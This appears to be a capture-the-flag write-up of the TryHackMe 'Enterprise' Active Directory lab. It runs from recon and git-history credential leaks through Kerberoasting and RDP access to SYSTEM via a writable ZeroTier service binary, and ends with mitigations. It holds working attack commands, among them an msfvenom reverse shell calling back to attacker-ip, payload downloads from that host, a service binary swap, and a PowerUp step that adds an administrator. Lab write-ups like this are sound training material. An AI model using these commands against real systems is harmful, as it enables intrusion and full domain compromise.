Summary
Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against site:github.com turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.
Those first credentials (nik) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a bitbucket service account, whose password cracks easily with rockyou. bitbucket turns out to be a member of Remote Desktop Users, so RDP lands an interactive session and the user flag. From there, manual enumeration of Program Files (x86) (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by BUILTIN\Users while the service itself runs as LocalSystem - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.
IPs are referred to below as machine-ip (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and attacker-ip (the Kali box).
Recon
Nmap - top ports
nmap -A -Pn machine-ip -o nmap
Output
Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is ENTERPRISE.THM, DC hostname LAB-DC.LAB.ENTERPRISE.THM.
Full port scan
The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:
rustscan -a machine-ip
nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... -sC -sV -oA enterprise_scan machine-ip
Key findings from the full scan
53/tcp open domain
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
3268/tcp open ldap (Global Catalog)
3269/tcp open tcpwrapped (Global Catalog SSL)
3389/tcp open ms-wbt-server
5985/tcp open http (WinRM)
7990/tcp open http Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp open mc-nmf .NET Message Framing (ADWS)
47001/tcp open http
Port 7990 was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.
SMB null / guest session
nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u guest -p ''
nxc smb machine-ip -u guest -p '' --shares
Output
SMB machine-ip 445 LAB-DC Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB machine-ip 445 LAB-DC LAB.ENTERPRISE.THM\guest:
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
Docs READ
IPC$ READ Remote IPC
NETLOGON Logon server share
SYSVOL Logon server share
Users READ Users Share. Do Not Touch!
Null and guest auth both work, and there's a readable Docs share worth checking.
RID brute forcing users
nxc smb machine-ip -u guest -p '' --rid-brute
Trimmed output - user accounts
500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)
Extracted a clean users.txt from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:
kerbrute userenum -d LAB.ENTERPRISE.THM --dc machine-ip users.txt
All 13 non-machine accounts came back as valid, confirming the account list is accurate.
The Docs share - a deliberate dead end
smbclient //enterprise.thm/Docs -N
mget *
Pulled down RSA-Secured-Credentials.xlsx and RSA-Secured-Document-PII.docx, both password-protected Office files (file identified them as CDFV2 Encrypted). Extracted hashes with office2john and threw rockyou at them with john:
office2john RSA-Secured-Credentials.xlsx > hash.txt
office2john RSA-Secured-Document-PII.docx >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.
Finding the GitHub org
The Bitbucket-styled login page
curl http://machine-ip:7990/
The page rendered as a pixel-perfect copy of Atlassian's real id.atlassian.com login page, but with a custom banner injected above the login form:
Reminder to all Enterprise-THM Employees:
We are moving to Github!Log in to your account
Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.
Google dorking for the GitHub org
"Enterprise-THM" site:github.com
This turned up a real GitHub organization: github.com/Enterprise-THM, with one repo, About-Us.
git clone https://github.com/Enterprise-THM/About-Us
README.md
### Welcome to Enterprise.THM
Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.
- Enterprise.THM Team
Nothing sensitive in the current file, but always worth checking git log on a repo like this - a leading hint that there might be more:
git log --oneline
41a9956 (HEAD -> main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md
Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: Sq00ky. Checking the org's people page directly was more productive:
curl -s https://github.com/orgs/Enterprise-THM/people -o people.html
grep -oP 'href="/[^"]+"' people.html
That turned up a second GitHub account: Nik-enterprise-dev - matching the nik username already seen in the AD user list. Their profile had one public repo: mgmtScript.ps1.
The leaked credentials
git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
cat SystemInfo.ps1
Current file contents
Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }
Empty username/password in the current version - but the commit history tells a different story:
git log
commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -> main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date: Sat Mar 13 20:09:16 2021 -0500
Updated things
I accidentally added something
That commit message is basically a confession. Diffing it confirms it:
git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a
Import-Module ActiveDirectory
-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
+$userName = ''
+$userPassword = ''
Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's nik:ToastyBoi!.
Validating and using nik's credentials
nxc smb machine-ip -u nik -p 'ToastyBoi!'
nxc ldap machine-ip -u nik -p 'ToastyBoi!'
nxc winrm machine-ip -u nik -p 'ToastyBoi!'
Output
SMB machine-ip 445 LAB-DC LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP machine-ip 389 LAB-DC LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM machine-ip 5985 LAB-DC [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!
Valid on SMB and LDAP, but no WinRM - nik isn't in a group that grants remote PowerShell access. Used bloodyAD for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get object nik
Confirmed nik is a normal domain user (NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD) and a member of the Contractor and Password-Policy-Exemption groups. Checked what nik could actually write in the directory:
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get writable
Nothing exploitable there beyond nik's own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))'
That search returned the DC's own machine account (expected) and, more usefully, a bitbucket service account with an SPN of HTTP/LAB-DC - a genuine human-managed service account with a Kerberoastable SPN.
Kerberoasting the bitbucket account
impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip machine-ip -request
Output (ticket truncated)
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- --------- ------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/LAB-DC bitbucket CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM 2021-03-11 20:20:01.333272 2021-04-26 11:16:41.570158
$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...
Saved the ticket to bitbucket.hash and cracked it offline with rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt bitbucket.hash
littleredbucket (?)
1g 0:00:00:00 DONE
Weak password, cracked almost instantly - bitbucket:littleredbucket.
Validating bitbucket
nxc smb machine-ip -u bitbucket -p littleredbucket
nxc ldap machine-ip -u bitbucket -p littleredbucket
nxc winrm machine-ip -u bitbucket -p littleredbucket
Same pattern as nik - valid on SMB/LDAP, not on WinRM. Checked group membership:
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get membership bitbucket
Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account
Remote Desktop Users is the important one here - bitbucket may not have WinRM, but it should be able to RDP straight in.
A side quest that didn't pay off: the Contractor group
While enumerating groups, the Contractor group's description field stood out:
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get search --filter '(description=*)' --attr description
distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!
That's the contractor-temp account's default password sitting in plaintext in an AD description field. Tried it:
nxc smb enterprise.thm -u contractor-temp -p 'Password123!'
nxc ldap enterprise.thm -u contractor-temp -p 'Password123!'
nxc winrm enterprise.thm -u contractor-temp -p 'Password123!'
Valid on SMB and LDAP, but not on WinRM, and contractor-temp isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; bitbucket's RDP access was.
Foothold via RDP as bitbucket
xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:'littleredbucket' /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore
That dropped straight into a full interactive desktop session on LAB-DC as bitbucket, with a text file named user sitting on the desktop:
type user
[REDACTED]
Confirming the foothold from a shell
Opened a cmd.exe window inside the RDP session to poke around more comfortably:
whoami
whoami /all
net user
Output (trimmed)
lab-enterprise\bitbucket
Group Name Type SID
BUILTIN\Remote Desktop Users Alias S-1-5-32-555
BUILTIN\Users Alias S-1-5-32-545
LAB-ENTERPRISE\sensitive-account Group ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption Group ...-1113
User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator banana bitbucket Cake joiner korone krbtgt spooks
Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.
Privilege escalation - a leftover ZeroTier install
Instead of running an automated privesc script blind, manually walked through Program Files and Program Files (x86) looking for anything that didn't belong on a stock DC image:
cd "Program Files (x86)"
dir
Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:
03/14/2021 05:36 PM <DIR> Zero Tier
cd "Zero Tier\Zero Tier One"
dir
03/14/2021 05:32 PM 1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014 11:52 AM 9,594,056 ZeroTier One.exe
Checked the corresponding Windows service:
Get-Service -Name zerotieroneservice | Select-Object *
Name : zerotieroneservice
Status : Stopped
StartType : Automatic
Automatic-start service, currently stopped, running as LocalSystem per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.
Confirming the weak permissions
Get-Acl -Path "C:\Program Files (x86)\Zero Tier\Zero Tier One\" | Format-List
Output (relevant lines)
Owner : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow Write, Synchronize
NT SERVICE\TrustedInstaller Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadAndExecute, Synchronize
There it is: BUILTIN\Users - a group bitbucket is a member of - has Write access to the service's install directory, even though the service itself runs as NT AUTHORITY\SYSTEM. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate ZeroTier One.exe.
To confirm this programmatically instead of relying only on manual Get-Acl reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first Import-Module attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):
Invoke-WebRequest -Uri http://attacker-ip/PowerUp.ps1 -OutFile powerup.ps1
. .\powerup.ps1
Get-ModifiableServiceFile
Get-UnquotedService
Relevant PowerUp output
ServiceName : zerotieroneservice
Path : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart : True
PowerUp independently confirms the exact same thing: BUILTIN\Users can modify the service's binary, the service runs as LocalSystem, and it can be restarted without needing a reboot.
Method A - manual reverse shell as SYSTEM
Generated a Windows reverse shell payload with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o rev.exe
Pulled it onto the target and swapped it in for the legitimate service binary:
Invoke-WebRequest -Uri http://attacker-ip/rev.exe -OutFile rev.exe
Stop-Service zerotieroneservice -Force
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" -Force
Restart-Service zerotieroneservice
With a nc listener running on the attacker box:
nc -lvnp 4444
listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]
C:\Windows\system32>whoami
nt authority\system
Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as LocalSystem, the shell comes back as nt authority\system straight away.
cd C:\Users\Administrator\Desktop
type root.txt
[REDACTED]
Method B - the PowerUp way (adds a local admin instead)
The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a net user /add + group-add command instead:
Install-ServiceBinary -Name zerotieroneservice
ServiceName Path Command
----------- ---- -------
zerotieroneservice C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe net user john Password123! /add & ...
Restart-Service zerotieroneservice
The restart itself reported a failure (Failed to start service) - but the embedded commands still executed once before the service process died, which was enough:
net localgroup Administrators
Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john
john is now a local Administrator. Logging in as that new account over WinRM (which bitbucket never had access to) confirms full admin rights:
evil-winrm -i machine-ip -u john -p 'Password123!'
whoami /all
Output (trimmed)
lab-enterprise\john
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
cd C:\Users\Administrator\Desktop
type root.txt
[REDACTED]
Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.
Key vulnerabilities
- Secrets in git history. A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.
- OSINT trail from a fake login page to a real GitHub org. A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.
-
Weak service-account password. The
bitbucketservice account (Kerberoastable via itsHTTP/LAB-DCSPN) had a short, guessable password that cracked against rockyou in under a second. -
Password reused in an AD description field. The
Contractorgroup'sdescriptionattribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access. -
Writable service binary / install directory running as SYSTEM. The
zerotieroneserviceservice ran asLocalSystembut its install directory grantedBUILTIN\Userswrite access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.
Attack chain
- Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.
- Google dorking for the company name against
site:github.comfinds a real public GitHub org, whoseAbout-Usrepo and people listing lead to an employee account (Nik-enterprise-dev). - That employee's
mgmtScript.ps1repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit withnik:ToastyBoi!in plaintext is still fully recoverable. -
nik's credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastablebitbucketservice account via its SPN. - Kerberoasting
bitbucketand cracking the resulting TGS ticket with rockyou recoversbitbucket:littleredbucket. -
bitbucketis a member of Remote Desktop Users, granting an interactive RDP session and the user flag. - Manual enumeration of
Program Files (x86)on the DC finds a leftover ZeroTier install whose service (zerotieroneservice, running asLocalSystem) has an install directory writable byBUILTIN\Users. - Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's
Install-ServiceBinaryhelper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.
Mitigations
- Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.
- Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.
- Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider
gMSAaccounts, which use long random passwords automatically rotated by AD. - Never store passwords or password hints in AD attributes such as
description,info, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations. - Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like
bitbucketlikely doesn't need interactive desktop access at all. - Regularly audit file and folder ACLs on anything referenced by a service
binPath, especially services that run asLocalSystem.BUILTIN\Users(or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten. - Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.
Top comments (0)